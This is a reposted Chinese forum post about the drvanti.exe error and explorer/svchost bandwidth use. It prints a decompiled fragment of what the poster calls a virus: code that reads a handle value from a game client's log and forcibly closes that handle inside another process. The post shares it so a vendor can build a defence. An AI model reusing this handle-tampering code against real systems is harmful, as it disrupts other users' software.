drvanti.exe_运行错误explorer.exe_svchost.exe占网速(3)

wsprintfA(&ExistingFileName, "E:\\NBMSClient\\%s\\%s", "log", &v8);

v2 = sub_4028A4();

wsprintfA(&NewFileName, "%s%.8x.tmp", byte_406180, v2);

CopyFileA(&ExistingFileName, &NewFileName, 0);

sub_402CD5(&NewFileName, (int)&lpAddress, (int)&hSourceHandle);

if ( lpAddress )

{

v3 = strstr(lpAddress, "Handle=");

if ( v3 )

{

v5 = (int)(v3 + 9);

*(_DWORD *)(v5 + 8) = 0;

hSourceHandle = (HANDLE)strtoul((const char *)v5, 0, 16);

v4 = OpenProcess(0x40u, 0, v1);

if ( v4 )

{

v6 = (void *)strtoul(a1, 0, 16);

DuplicateHandle(v4, hSourceHandle, v6, &uExitCode, 0, 0, 2u);

}

}

VirtualFree(lpAddress, 0, 0x8000u);

}

}

DeleteFileA(&NewFileName);

ExitProcess((UINT)uExitCode);

以上是我从别的游戏平台论坛复制过来的，人家已经对此病毒做出了防御。。。

希望金山也能出个防此病毒的补丁，山多关注下。。。。。drvanti.exe

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-22435-3.html